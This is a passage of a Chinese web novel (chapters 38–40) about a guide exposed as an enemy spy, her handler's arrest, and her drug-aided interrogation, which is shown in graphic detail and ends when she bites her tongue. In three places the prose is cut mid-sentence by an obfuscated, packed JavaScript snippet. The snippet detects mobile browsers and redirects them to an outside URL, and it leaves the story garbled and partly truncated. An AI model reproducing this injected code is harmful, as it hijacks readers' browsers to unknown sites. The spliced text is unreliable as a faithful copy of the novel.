“怎么了?”进入办公室后,韩奕拨了回去。塞莱斯蒂基地是全体封闭式的,墙与门都是金属砌成,窗子也都很狭小。但顾小绒还是将那扇窄小的窗子关闭,按动旁边的按钮后,玻璃变为单侧不可视。 “老师,有一件事我想给您汇报一下。”她听见曼琳的声音传来。 “这一次作战任务里,敌方也损失了几位哨兵,只是……”曼琳的声音顿了顿,似乎在寻找合适的措辞:“我觉得他们的状态有些异常。”她将一段视频发了过来:“您看看这里。” 在已经被提取和优化的画面中,有两位敌方哨兵的身体似乎也陷入了僵直,其中一位甚至后退了半步,险些从高处跌落,这一段情景正是发生在“蝴蝶”出现时,因为镜头的晃动,这段隐匿在边角的细节很难被发现。 “把完整记录仪发给我。”韩奕简明扼要地开口。 “是。”曼琳点击屏幕,将文件发送了过来。 “最近治疗型向导的任务存活率是多少?”韩奕继续问。 “能维持在82%。”曼琳回答道。 “不能再出现向导失踪事件,活要见人,死要见尸。”韩奕再次强调,他的目光向下垂落:“失踪的向导也要继续追查。” “是。”曼琳领命。 38. 第三十八章 三天后,曼琳将整理好的数据与视频都发了过来,接下来的几天时间里,少将几乎一直待在办公室,浏览她整理出来的报告和影像数据。曼琳和楚飞做为哨兵,无法对敌方向导的情况做出太多感知,也提供不了太多信息,但曼琳还是从一次次惨烈的任务失败中发现了端倪。 韩奕观看次数最多的是那次严重的任务失败,或者甚至可以说是事故。在场的三对哨兵与向导同时被某种力量压制了好几秒,直到全军覆没,他们的身体僵直、有的甚至直接跌倒在地。曼琳说最终只有一位向导活了下来,但回来时就已残废,据说后续精神上也出现了问题。 韩奕将这段视频交给了顾小绒,虽然记录仪的画面不甚清晰,可在场的敌方哨兵身手十分敏捷、很明显具有个人意志,这与她和周烨曾经推论的结果一样,南方的整个作战系统与战斗方式都已经更新了,也不知正在严重内斗的公会对此有没有认知。 顾小绒的内心陷入一片庞大的绝望,她竭尽全力地寻找着“蝴蝶”可能露出的破绽,在反复的观看中,她终于感觉到一丝微妙的不协调感,几乎是脱口而出:“她的力量太强、太不受控了,甚至攻击到了她自己和哨兵。” “你也这样认为,是么?”韩奕看着她,目光平静。 顾小绒微微张开唇却又顿住,思索了一下才继续道:“她的精神烈度已强烈到近乎失控,可持续的时间也越来越短,要针对她的弱点,打消耗战也许是破局之法。只是……如果南方也意识到这一点,会不会调整她的状态,或者说后续出现的黑暗向导,有没有可能朝着更稳定的方向发展?” “嗯。”韩奕点头。 顾小绒将话语修饰得委婉了一些,她的内心更加绝望:如果蝴蝶只是南方实验的第一步,甚至只是一个不完全成功的实验体,那么如果他们再进行修复与迭代、甚至制作出第二、第三个黑暗向导,我方将承受不可估量的毁灭性打击。 因为情报一直没有任何消息,他们也一直找不到有关黑暗向导实验的任何线索,无法将其摧毁。 无论是哪种情况,南方军都需要更多符合条件的向导以供实验,这也是他们更加不择手段、向北方抢掠向导的原因。一旦有了第二、第三只“蝴蝶”,直到达成战场上的全面覆盖,这场战争的结局几乎就已注定。 “以上是我基于最坏结果的推论,长官。”顾小绒汇报完她的想法,韩奕将眼神重新落回屏幕,沉默不语。 触目惊心的数据显示,在韩奕离开公会后,任务的平均成功率已经由从前的79%跌到了63%,死亡的向导人数为45人,哨兵则到了121人,还不算上重伤与残疾的,这也仅仅只是几个月的伤亡情况,更别提之前还损失了一位极为珍贵的S级哨兵…… “长官,您……真的不打算再管公会了吗?”顾小绒知道这个请求有些为难,但仍旧忍不住开口。 “再等一会儿。”少将忽然拉住了她的手,顾小绒怔了怔。那双黑色的眼眸抬了起来,认真地望向她,他的眼神如有实质般的重,像是许定了某种承诺。 十天后,他们启程前往了阿维隆军港,这里将是帝国未来的南部海军中心。在第一批最新研发的战舰驻守之后,军部准备在此举办一场盛大的典礼。为显隆重,韩奕将亲自出席。至于莱安,因为典礼的时间与女皇的伴侣爱德华亲王的生日撞到了一起,“不得已”放弃了此次出席。 顾小绒曾经无数次听闻阿维隆的名字,但这是她第一次亲眼见到。蔚蓝的海平面广袤无垠,一直延伸到天际的尽头,海面承载着粼粼波光,如同洒满碎银一般晶莹剔透、明灭浮动。深蓝的海浪缓慢地流动起伏,将太阳投下的光泽聚拢过来,又揉碎了荡漾开去。 顾小绒在这里待了将近一个星期,视察环境、视察海军、同少将一道乘坐最新的战舰。即使冬天已持续了十年,仍旧有顽强的海鸟和鱼生存着,雪白的海浪从甲板下翻涌,几只海豚追逐着战舰的浪花飞驰,甚至跳出了水面。从来没有见过这种情景的顾小绒惊喜又好奇,不过对着一排神情严肃的海军,她还是收敛了神色。 到了距离典礼开始的前四天,空军的维多利亚上校也来了,与她同来的还有20位空军精英,以及同样最为精锐的战机与机甲。晚上的时候,少将仍旧忙于各种会议。顾小绒就一直趴在会议室外的栏杆看着远方,落日融金,天空变作一片澄净的紫色,与金色的夕阳交织在一处。 “听说风暴来临之前,大海总是格外平静。”顾小绒抬起头,对上了维多利亚明丽的眼眸,空军上校有着一双神采飞扬的眼,锐利如鹰,她是过来等待下一场会议的。 阿维隆的会议室隔音效果比基地还差了一大截,伴随着涌动的海浪声,顾小绒隐约听到了“长官,我很抱歉……”之类的话语,好像是段凌的声音。“没事,那就这样做。”韩奕简短地答道。会议室的门随即打开,海军鱼贯而出,维多利亚紧接着走进了会议室。 哨兵和向导是最晚一批过来的,他们直到典礼开始的前两天才到,很遗憾没有顾小绒熟悉的人,都比较面生,大概都是林轩选出来的。 过来驻守的哨兵与向导有五队,两队被分去了卡利斯特,三队留在阿维隆,其中有一位治疗型向导被安排在了韩奕身边“护卫”。其余几队哨兵和向导需要守卫两处港口的防御工事,防御工事也分别放置在两处地方,即使其中一处被损毁,另一处也会立即启动,等于加上了一层保险。 看来少将并不是不在意近期惨重的伤亡数据,如此一番安排,也不知道是让那位治疗型向导“护卫”长官,还是长官“护卫”他。 在少将下了命令之后,年轻向导与他的哨兵也和顾小绒一样,变成了少将的“尾巴”。年轻向导看上去比顾小绒还要小,攀谈了一番才知道,他也是刚刚选入中央公会的新人,甚至才刚满18岁,只完成了一个单元的训练就出任务了,这也是他的第一次任务。 顾小绒在心中暗自叹息,林轩在这方面的安排实在有些操之过急,但想想自己当时,不也是只完成了一个单元的训练便匆匆上了战场。 这几日舟车劳顿,从塞莱斯蒂赶到阿维隆直飞了三个小时,少将没有片刻的休息便投入了高强度工作。这边建筑体的隔音效果也比基地差了很多,因为是在海边,风声与海浪声都很大。顾小绒不由担心起韩奕的状态,上次的失控只是一次撞击便让她差点内脏破裂,她实在是害怕在这关键的节骨眼上再出岔子。 每天晚上她几乎都要将韩奕拉进精神图景入睡,这样可以保证完全隔绝外界的噪音与侵扰。少将似乎明白她的担忧,只是他每天都要忙到很晚,实在是没有多余的精力陪伴与安慰她。他唯一能做的就是每晚百依百顺地跟随她进入到精神图景里,只有这样她才肯稍微放松下紧绷的神经。 向导还发现,只要她每晚任由哨兵搂着,他就会变得十分安静、状态稳定。韩奕喜欢蹭她的后颈与耳尖,那里刚好是顾小绒最为敏感的地方,每次的耳鬓厮磨都会将那里弄得一片滚烫,顾小绒只能咬牙忍着,直到脸颊憋得通红,哨兵才会老老实实地睡过去。 精神图景中的夜色从来没有这般宁静,这一晚几乎连微风都停止了,树影也不再摩挲,甚至连花瓣都静静伫立在枝头,不曾飘落一点。 迷蒙间,周遭忽然变得滚烫,顾小绒一阵战栗、从沉睡中惊醒,柔软的草地已被熊熊烈火肆虐,地面剧烈地颤动着,猛烈摇晃到几乎撕裂开来。樱花树在她眼前燃烧,在混合着血与硝烟的黑暗里,她眼睁睁看着树被白炽的火舌吞噬,沾染着火星的花瓣片片凋零、最终燃烧殆尽。 一只有力的手紧紧抓住了她的手腕,将她从崩塌的精神图景中带离。 顾小绒猛地睁开眼,只听见炮火巨大的轰鸣声响彻耳畔,少将已起身穿好了特种战服,导弹与炮火如同流星一般漫无边际地洒落下来,将黑夜映照得亮如白昼。顾小绒的心脏如同凝固:我方防御系统被攻破? 还没有来得及反应过来,少将就猛地拉开了门,走廊上都是匆忙奔跑的脚步声,见长官出来,士兵们的情绪稍微安稳了一些,她看见一位下士走上前来向韩奕汇报情况。隔壁房间的新人向导和哨兵这才如梦初醒般地出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055877|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的神情也有些慌乱,衣服甚至都没有穿整齐。 顾小绒立即开始更换作战服,完全顾不得门是不是大开着。同新人完全不同的是,维多利亚上校装容整齐地朝着韩奕走来,她步伐从容,一边走一边调整着头盔:“长官,空军天焰特战队申请出战。”话音落下时,剧烈的爆破带来的气浪掀起了她的长发。 “申请允许。”骤然的白光瞬时照亮了韩奕的面容,少将面不改色,转身对着身边慌慌张张的年轻人说道:“五号哨兵张宇诚。” “是……长官!”每一次作战任务里,向导和哨兵都会有自己的编号,方便识别。年轻哨兵显然没有料到少将把自己的名字与编号记得一清二楚,他立即站直了身子应道。 “你立即带三号向导叶川、一号向导顾小绒前往防空洞避难。”韩奕的眼神扫过眼前两位向导:“全权保障他们的人身安全。” “是!”哨兵领命,一手抓住了自家向导,他的眼睛随后扫过站在原地没有挪动的顾小绒,一时有些为难。 “长官……您的意思……”顾小绒的脑子像是停止了转动,似乎过了很久她才明白过来,韩奕是准备撇下她,独自去往战场:“可是?”她的视线立即落到了韩奕的禁制环上。 “啪哒。”一声轻响,黑色的金属枷锁从少将的脖子上脱落下来,韩奕的神色是从未有过的寒冷:“根据紧急战争法案第十二条,国家安全被严重危害的情况下,允许解冻任意级别战争兵器,所有相关法案的限制做出让步。”这条法案的编码被输入后,禁制环便立即被更高层级的指令打开了。 焰火燎烈,少将的面容被火光与黑暗分明切割,看上去陌生而遥远。 “可是……哨兵与向导不能分开作战!”十多年来铁律一般的规定几乎脱口而出,顾小绒对少将的决定感到震惊和茫然。 “服从命令。”韩奕说完最后一句话后,转身就走。顾小绒几乎是本能地想要追上去,被一旁的哨兵猛地控制住了手腕。 “中尉,请你配合。”年轻哨兵的言语尚且客气,他的向导也绕到了顾小绒的另一边,扣住了她的肩。她甚至来不及看清少将的背影,他便消失在了走廊的尽头,连同信息素也消失得毫无痕迹。 一队荷枪实弹的士兵朝着他们围了过来,将他们牢牢护卫在中间,想来应该也是听从命令负责过来保护他们的。顾小绒大脑一片空白,她的手至始至终被哨兵紧扣着,另一边则是同样严阵以待的向导。如果只有一个A级,她尚且可以一战,可是再加上向导和配枪的士兵…… 在无所突破的防御与控制下,她被迫走入了深黑的防空洞里。 冰冷的声线再次凭空响起,利刃一般缓缓穿刺过她的心脏:“你暴露了。”那道声线紧贴在她的耳畔,轻声叹道。 防空洞的铁门忽然被关上,她被一道带有劲风的扫踢放倒在地,剧痛将她吞噬,双眼陷入一片血色的迷蒙,鲜血涌出口腔。她蜷缩在地、感觉到双手与双脚被套上了手铐与脚镣。 亮白的灯光随即被打开,似乎有无数的脚步声围绕着她靠近。名叫张宇诚的年轻哨兵扣好了她身上的枷锁,又同向导各自检查了一番,这才走到一个人面前:“报告少校,人已带到。” 顾小绒此时侧趴在地上,再加上刚才被突如其来地踢中腹部,痛到双眼发黑,什么都看不见。可是紧接着,一道熟悉的声线就从她的头顶响起,顾小绒心头一凉,近乎绝望地闭上了眼睛。 “嗯,做得好。”曼琳的声音有些低沉,她虽然回答着眼前的年轻哨兵,眼睛却至始至终看着趴在地上的向导。 此时的顾小绒已经挨过了剧痛,视觉重新恢复,她挣了下身子,朝上看去。那些她熟悉的、几乎一直想念的伙伴们,此时正整齐地站在她的面前。曼琳、诺兰、正羽和程浩围绕着她,默然而立,他们看着她的眼神混杂着震惊、陌生与难以置信。 原来自己从一开始就无路可逃,顾小绒闭上眼,面容缓缓浮现出一丝笑意,她的心静如止水、尘埃落定。 “好久不见,小绒。”她听见曼琳沉重的开口。 39. 第三十九章 南方军对阿维隆与卡利斯特的偷袭仅维持了四个小时,就以惨烈的失败告终。 从明面上看,是因为韩奕少将亲率空军、海军迅速反应,给予了敌军重创。实际原因则是因为敌方情报有误,原本应该停靠在第二、第三船坞的欧米茄二级战舰被临时调去了别处。 空军实际到来的特级飞行员也不止20人,除了维多利亚上校亲率的“天焰”特战队之外,与之齐名的“雷暴”特战队、以及“北芒”特种机甲编队等空军精锐也尽数到齐。敌军上来就大肆轰炸完第二、第三船坞,完全没有意识到里面停靠的是替换了船壳的老旧战舰阿尔法,被赶回来的欧米茄围了个严严实实。 紧接着要做就只有一件事:关门打狗。 敌军从派遣他们的哨兵袭击防御工事、再到发动偷袭,差不多花了两个小时,而我方的围堵与反击甚至只用了一个多小时。清晨的第一缕阳光照亮海岸时,战争就已经结束了,我方主要舰艇与战机、机甲几乎没有致命损害,敌军则伤亡严重、败退而去。这一次战役甚至生擒了一位南方军空军中校,他在战机爆炸之前跳机降落,坠落在卡利斯特,被我方士兵控制住。 此次战役终结后,一系列大动作也紧跟着到来,这一次的战役中空军与海军立下赫赫战功,维多利亚、瑜泽与段凌都各自得到了蓝丝带与绿丝带奖章,他们都是识时务、明确决定跟随韩奕的人,少将回报给他们应有的奖励。 而针对此次哨兵与向导的防守失误、以及这半年来急剧下滑的作战数据,上层终于决定罢免林轩哨兵总负责人的职务,这个位置他仅仅只坐了半年,几乎是时间最短的任职者。 莱安也没有想到,自己只是去皇宫参加了几场沙龙,韩奕就转身将刀刃抵到了他的咽喉。 他还没来得及痛骂林轩是废物,更多的消息就接连不断的传来,别的也就算了,只有其中一条:潜藏在中央公会里的间谍,竟然就是韩奕少将自己的向导顾小绒。 我方信息的泄露从她到来之后变得尤为密集,第一次争夺阿维隆军港的战役里,敌方显然是对我方的布置了如指掌,尤其是在我方哨兵与向导的层面,掌控得尤其准确。韩奕从那时就起了疑心,于是自那之后,他一直有意无意地采用信息分割法下放命令,逐渐排查间谍所在的范围。 阿维隆是韩奕给顾小绒的一次测试,军舰的布置与安排是他故意透露给顾小绒的,欧米茄级战舰停在第二、第三船坞这个信息,也只告诉了她一个人。瑜泽上校与段凌少校则配合演戏,早早将舰队开往了别处,明修栈道、暗度陈仓。 这一整套动作让莱安猝不及防,他甚至从中品出了一丝韩奕对自己的蔑视,仿佛自己只是他前进路上需要踢开的一个障碍。韩奕的目光也从来没有仅限于内部的权力争夺,权力只是顺带获得的产物,对他而言只是工具,他的眼睛一直望着远处、望着比眼前的一切都更遥远的地方。 次日的中央公会,难得晴丽的阳光照耀着窗外的积雪,从窗户往外看,一片晶莹剔透、冰雪琉璃。沈骁的办公室一如既往的宁静,他刚刚泡好一杯美式,咖啡的清香充满了整个白色的房间,工作已完成得差不多,他将桌上的文件分门别类摆放整齐。 门口传来敲门声,他应了句请进,少将便不出意外地走了进来。 韩奕还未褪去战场的状态,上位者的姿态尽显无遗、气势逼人。沈骁抬起眼,只见哨兵脖颈间的禁制环已不见了踪影,只留下一道淡淡的、褐色的印记。他是向导,早就能感觉到门外无数的哨兵将他的办公室包围,但少将到底给了他颜面,只身一人走了进来。 二人沉默相对,只有桌前的美式不断地飘散着热气,白烟在他们彼此间辗转消逝。 “顾小绒是你一手提拔上来的人。”韩奕神色平静,目光看向窗外。他们二人并肩作战多年,也曾有过无数次争执和互不退让的时候,没想到这一次却是这般的平静。沈骁没有回答,沉默已经表明了他的态度,他端起桌上的咖啡抿了一小口,才问道:“你怎么发现到我的?” “前期她的职权不够,很多信息只通过你我二人之手。”韩奕回答道。 沈骁露出一个无可奈何的苦笑。 “你确实藏得很小心,风险几乎都推给了她。”韩奕冷淡的、不带一丝感情地评价道,好像他是一个与之全然无关的客体。 “情报局和调查组来了么?”沈骁一边喝着咖啡,一边继续问道。 “来了,在外面。”韩奕的眼神朝着门外一扫。 “顾小绒呢?”他继而问道。 “控制住了。”韩奕利落地答完,随后补充道:“调查组刚刚申请了紧急战争法案第九条,已经拿到了批准,不需要我再背了吧。” “你的意思是,允许动用C类及以下禁制药物审问我?”沈骁的神情仍旧淡定,他是十分强大的向导,除非动用药物,否则很难撬开他的脑子。 “是审问她。”韩奕的眼眸如淬寒冰:“你的证据还不明确,目前只在嫌疑状态。” 沈骁的面容瞬时转冷,刚才的从容不见了踪影。“如果担心的话,不如你自己开口,调查组也省了麻烦。”韩奕给了他一个机会,走到需要上手段拷问这一步,他也不愿意。 沈骁闭上了眼,他很清楚接下来的所有流程,以及软化剂的作用,这种专门为向导设计的药剂,可以直接攻击向导的神经与中枢系统、瓦解向导的精神防御,足够剂量之后,甚至能让向导失去任何思考与抵御的力量,只能说出实话。软化剂虽然是C类禁药,发作时间慢、危险等级不算太高,但抵不过持续性的、高强度的注射,即使是再强大的向导,几天之内也必然招供。 咖啡还没有喝完,只剩下冰冷的一角残留在杯子里。 “无论她招供出什么,我都不会怪她。”沈骁的眼闪过一丝微不可见的轻颤,声线重归冰冷,他将手轻轻握起,伸到了韩奕面前:“做你该做的事吧,少将。” 曼琳与楚飞荷枪实弹地站在沈骁的办公室门口,同他们一起的还有正羽和程浩,在几乎所有人的见证下,曾经的中央公会向导总负责人沈骁,带着手铐走出了办公室大门。而在哨兵们身后,情报局与调查组早已等候,韩奕出来后就将沈骁交了过去,走廊被黑压压的哨兵们围的水泄不通,却硬是没有一丝声息,气氛安静到令人害怕。 “从今天起,由曼琳少校接替中央公会哨兵总负责人一职。”刚好大家都在,韩奕索性直接宣布,这也是上层的意思,新任的哨兵总负责人由韩奕直接指派即可。 叶落知秋,调查组和情报局也几乎完全听命于韩奕,调查组的负责人上前一步问道:“请问长官,那个间谍……” 韩奕偏过头来,雪光流淌过几近锋利的眉骨与下颌线,黑色的眼眸冷厉到令人胆寒,少将薄唇轻启:“开始执行。” “是。”对方领命退下,顺便带走了沈骁。 曼琳和楚飞交换了一个眼神,他们在彼此的眼眸中看到了震惊无措的自己,曼琳感觉到自家向导的状态也有些不对,她回头望了望诺兰,对方脸上的神情几乎称得上崩溃,他握枪戒备的手几乎是在微微发抖。做为哨兵,曼琳不太清楚软化剂是个什么东西,不过从她曾经自己感染过催化剂的经历来看,应该不是什么好东西。从韩奕下令开始执行的那一刻,这种名叫软化剂的药就将持续不断地注射进顾小绒的体内。 该忙的事都了结得差不多,尤其调查组走后,走廊看上去一下空旷了许多。韩奕的身上透着某种说不清的压迫感,哨兵们几乎是本能地与他保持了一段距离,包括曼琳。老师现在这样的状态让她几乎想逃,而她同时也看到了对面正羽明显打颤的腿。 这种时候还敢上前拦住韩奕的,整个公会上下也只有穆承安一个人,禁制塔的一大群人与他们正面碰上,里面甚至还有不少哨兵。穆承安也实在不想在此刻触这个大霉头,只是职责在身,他避无可避。 “长官,很抱歉打扰,只是根据禁制塔法案,您现在的情况需要同我走一趟。”穆承安满脸写着职责所迫,做为现任禁制塔的负责人,他不能纵容一个失去向导的S级哨兵在公会里任意行动。 “刚好你来了,我有一份分化申请发给你。”韩奕的语气淡淡的,眉眼与神色没有什么起伏,好像哪里都同往日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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诺兰的神色还是和控制沈骁那天一样难看,他把自己缩在曼琳身后,尽量不直接面对韩奕。曼琳的心里其实也在焦灼里煎熬,距离老师下令执行用药已经过去了109个小时,天知道顾小绒这姑娘看上去瘦瘦小小的,骨头怎么这么硬。明知道无论撑多久后面的结局都一样,还不如一开始就招了少吃点苦头,如果曼琳能见到她的话,肯定会这样劝她,可是很遗憾她见不上。 想什么来什么,通讯器的来电让少将难得地停下了脚步,听到那一边传来调查组的声音,曼琳和诺兰的心揪到了嗓子眼。 “报告长官,顾小绒已申请招供,现在准备召开对她的审讯会议,可以请您过来旁听吗?”对方的声音不大,却在四下寂静里仿佛轰鸣。 “我马上过来。”少将加快了脚步。 “按照时刻表下一次针剂是6分钟以后,请问还需要打吗?”对面谨慎而恭敬地问。 “不必。”韩奕几乎是飞身上了车,身旁的各位都是少将身边随行多年的人,几乎是不需要眼神便能立即会意,司机一脚油门轰了下去。通常来说军部的司机开车都是四平八稳的,而这一次车身几乎甩出了漂移,从禁制塔到审讯大楼这好几公里硬是只花了五分钟。车还没有停稳,少将便开了门,曼琳和诺兰几乎是上气不接下气地在后面追赶,到最后她甚至不得不提着向导的衣领后襟帮他加速。 调查组负责人宋明远上校亲自在门口迎接,在他旁边的是情报局负责人卢卡斯上校,楚飞与周烨也一并等在了那里,情报局、调查组与公会三方需要各自派出一个人参与审讯,因为此次的间谍涉密非同一般,两位上校都要亲自问询。至于公会这边,韩奕因为与顾小绒的关系需要避嫌,只能在一侧旁听。而曼琳也早就报告过,自己与顾小绒有过交情,同样申请避嫌,问询的重任便落到了楚飞的身上。 曼琳跟随少将一同走入了一个暗室,他们的面前是一扇全景玻璃,方便审讯时观看细节。玻璃是单向的,被审讯者无法看到或感知到他们。玻璃的背后被一堵黑色的金属墙体遮蔽着,顾小绒此时应该已经在这扇墙的背后。 “在等什么,立刻开始。”韩奕厉声催促。 “老师,几位上校还没有落座……”曼琳轻声劝道,她的手仍旧揪着诺兰的衣领,向导正伏在她的身侧大口喘气。 晦暗的光线中,曼琳敏锐地捕捉到老师手背上凸显的青筋,她谨慎地往上看去,韩奕面色沉郁,看不出一丝情绪,却令人望之生畏,她赶紧收回了目光。 40. 第四十章 宋明远、卢卡斯与楚飞三人进入审讯室,各自落座。医务人员、记录员、监察员等也各自就位。调查组的宋明远上校坐在中间的主位,他虽然看上去年轻,但是审讯经验已十分丰富,以手段冷酷著称,很显然各方也将他默认为此次审讯的主审人。楚飞因为是哨兵,他的向导周烨也一起随同进入审讯席。 眼前的金属墙终于开始缓缓移动,一道冷白的光从裂开的口中倾泻下来、最终占据了整个屏幕,曼琳的手不自觉地扣进了扶手。顾小绒正侧趴在地上,双手被反绑在身后,双脚也用了重型脚铐。她急剧地喘息着,身体颤动着起伏,浑身湿透得像是从水里捞出,只是一小会儿,冷汗便打湿了深灰的地面,将她身下染湿成一个小小的水洼。向导的身上没有显见的伤口,但脸色惨白、双眼通红,一旁守卫的士兵将一个微型话筒调整好放到了她的面前,方便长官们听清问话。 话筒一开,向导颤抖的呼吸混杂着沙哑的泣音,霎时清晰可闻。眼泪几乎是无法自控地流淌而下,与冷汗一道将额发浸湿。曼琳看见诺兰很明显地偏过了头,将目光挪向别处。 “12680号中尉顾小绒,公会现在将要召开对你的审讯会议,你是否接受?有无异议?”宋明远的开场平静而冷峻。 “唔……嗯……”顾小绒将额头抵在地上,有些急促地回应着,看上去已濒临极限。诺兰曾和曼琳说过,即使是A级向导,对软化剂的平均忍受时间也只有82个小时,顾小绒已经忍受了109个小时,现在的她看上去几乎已在崩溃的边缘。 “考虑到你现在的身体状态,我将采用问答的方式进行审讯。”宋明远低头看向了桌上的资料:“你从一开始就是南方的间谍吗?从3202年分化后、进入第五公会服役的时候就是?” “是……”此时的向导已没有了一丝一毫的抵抗力,她的精神屏障坍塌瓦解,连感知与神经都被药物侵蚀、无法违逆提问者,做到任何撒谎与隐瞒。 “谁安排的?你的上线是谁?”主审人继续发问,向导却陷入了沉默,她紧紧咬着自己的唇,看上去似乎还有意志抵抗。 “中尉,现在是下午2点14分,原本2点整应当注射的药剂还没打,你想再补上?”宋明远从容地放下了手中的材料,似乎对眼前这样的情况已司空见惯,回答他的仍旧是沉默。在提到“药剂”时,顾小绒很明显地呼吸一颤,但她仍旧牙关紧咬、一言不发。 主审人抬手,侧面的大门被打开,等候在一旁的两个医务人员随即入场。曾几何时,医务人员都是以拯救者的姿态进入,而这一次缓缓逼近的脚步对于顾小绒来说,无异于剥皮抽筋的酷刑。她的身体无法自控地挣扎起来,痛苦的记忆深入骨髓,每一寸肌肉都因恐惧而收紧,她嘶哑着声音,几乎是求饶般地哭出声来:“是‘尾鸦’……” “‘尾鸦’是谁?”宋明远继续问,充满消毒水味的手套已经按压到了顾小绒嶙峋的脖颈,医务人员也很配合地没有进行下一步动作,针头被放置在一旁的托盘里。 “我…我不知道……我没有见过他……”顾小绒剧烈地颤抖着,泪眼朦胧。宋明远的神色微微一暗,他朝着曼琳所在的暗室看去,显然是对少将刚刚所下的“不必再注射”的命令有所迟疑,但只经过了短暂两秒的权衡,他朝着两位按住顾小绒的医务人员使了个眼色。 向导单薄的肩胛骨被轻而易举地按住,瘦削的后颈在白光下一览无余,承载药物的针尖几乎有10cm之长,将直接刺入后脖的脊椎进行注射。这个时候一旦有所挣扎,很可能造成瘫痪,因此向导即使哭求到不能自已,身子也不敢挪动一点。随着针头的刺入,顾小绒的声音从嘶吼变作哀鸣,最后已不似人声,仿佛兽类垂死。 楚飞也侧过了头,将目光挪向别处。 再次注入药剂的向导因剧烈的痛苦而抽搐,这整个过程中两位医务人员都不得不按住她的身体,直到她慢慢平息下来。曼琳从来没有经历过这样漫长的五分钟,她觉得好像是有一把生锈的钝刀在缓慢地磨着自己的血肉。 “我真的……我真的不知道!”向导声音凄厉,刚刚那一番折磨几乎让她面目全非。随后在她断断续续的描述中,记录员整理出了大致内容,她从分化的那一刻便被安排进了地方公会,按照之后的分化程度、能力以及数据,等待之后的任务分配。名叫“尾鸦”的人一直是她的上线,她也确实没有见过他,每次的通讯都是用特定的加密方式进行传输,而且每次都是单方面的,只有“尾鸦”才能主动发起。 “和你同一批的间谍还有其余人吗?”主审人继续问道:“好好配合,供出名单有助于你之后的减刑。” 顾小绒泪流满面地摇头,她的眼神是被逼到绝境的恐惧,除了她和“尾鸦”之外,她完全不知道其余人的存在。想必即使是有,他们彼此之间也互相不会知道对方。见久攻不下,宋明远选择调转方向,他随后继续问道:“你泄露的情报有哪些?” “阿维隆……”顾小绒似乎终于从刚刚那一阵剧烈的痛苦里缓了过来,她的身体不再抽搐,医务人员也松开了按住她的手。 “只有阿维隆?”宋明远面露怀疑,可向导坚称,她泄露的从头到尾只有围绕阿维隆军港的这两次。对于南方军而言,阿维隆与卡利斯特也是极其重要的战略要地。从最开始,她的主要目标就一直只有这里,至于为什么没敢泄露其余信息,是因为从泽卡回来之后,她感觉到了韩奕的信息分割以及对她的不信任,很长一段时间都不敢有所动作。而这一次她虽然已经感知到了很大的风险,却迫于“尾鸦”的命令不得不执行。 向导的眼神不再有一丝波澜,像是干涸的湖泊陷入濒死的寂静,被长时间注射的痛苦所折磨,她的瞳孔已有些微微放大。 宋明远又围绕其余可能泄露的线索进行了审问,但顾小绒坚称她所泄露的只有这些,至于别的……她也不知道。 通常来说,软化剂的注射间隔时间是4小时,宋明远看了看时间,审讯到现在已经过了2小时,他决定用生理盐水吓唬一下向导,在刚刚的场景重复上演一次之后,从向导已近崩溃的哭喊与哀求里,他能判断出她几乎是敌方间谍系统里最为底端的部分,承担了最高的风险、得到的也只有最少的讯息。 现在已经到了顾小绒的意志最薄弱的临界点,宋明远抓住了这个时机,他问出了最关键的问题:“这所有的一切,与沈骁有关联吗?” 回答他的只有沉默,顾小绒蜷缩起身子,一动不动。曼琳隔得稍远,还看不清到底发生了什么,却见下一秒楚飞如同离弦之箭一般朝着审讯台冲了过去,一声巨大的声响从耳畔传来,曼琳回过头时韩奕的背影已离开了暗室,几乎只剩下一抹残影。 向导的下颌紧紧咬住,鲜血从她的口中淋漓落下。也许是不愿再泄露更多信息,又或许是承受不了持续注射带来的痛苦,顾小绒选择咬断舌头,这个人体最柔软的地方排布着密集的血管与动脉,创口够大的话极有可能失血而死。 哨兵的动作迅捷至极,几乎只是眨眼的一瞬间,楚飞就已经冲到了顾小绒的面前,他的手朝着她的脸颊一捏,干脆利落地卸掉了下颌。牙关一松,巨量的鲜血霎时喷涌了出来,迸射了哨兵一身。突如其来的变故让所有人都怔愣了两秒,楚飞感觉到自己的肩被一股巨大的力量撞开,几乎将他整个人都掀飞。反应过来时,少将已经抱着血泊中的向导朝外奔去。 宋明远也立即回过了神来,他随即起身高声命令道:“不能让她死了,立刻抢救!” 对于军区医院来说,今天送来抢救的人员身份有些特殊,看着眼前黑压压的一众军官,医生也大概判断出了一二。帝国对药物与刑讯方面的逼供向来克制,紧急战争法案已经很久未曾启动,即使是年长的主任医生,也已经多年没有遇到这种情况了。 顾小绒对自己下了死手,还好楚飞动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055879|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作够快,但她的舌根仍旧几乎断裂了大半,再加上持续四天半不间断地注射软化剂,她的身体极为虚弱,原本以为只是止血和缝合这一件事,却没想到手术时间意外的长,等到两个小时过后曼琳的神色也变得难看起来,她知道一定是出事了。 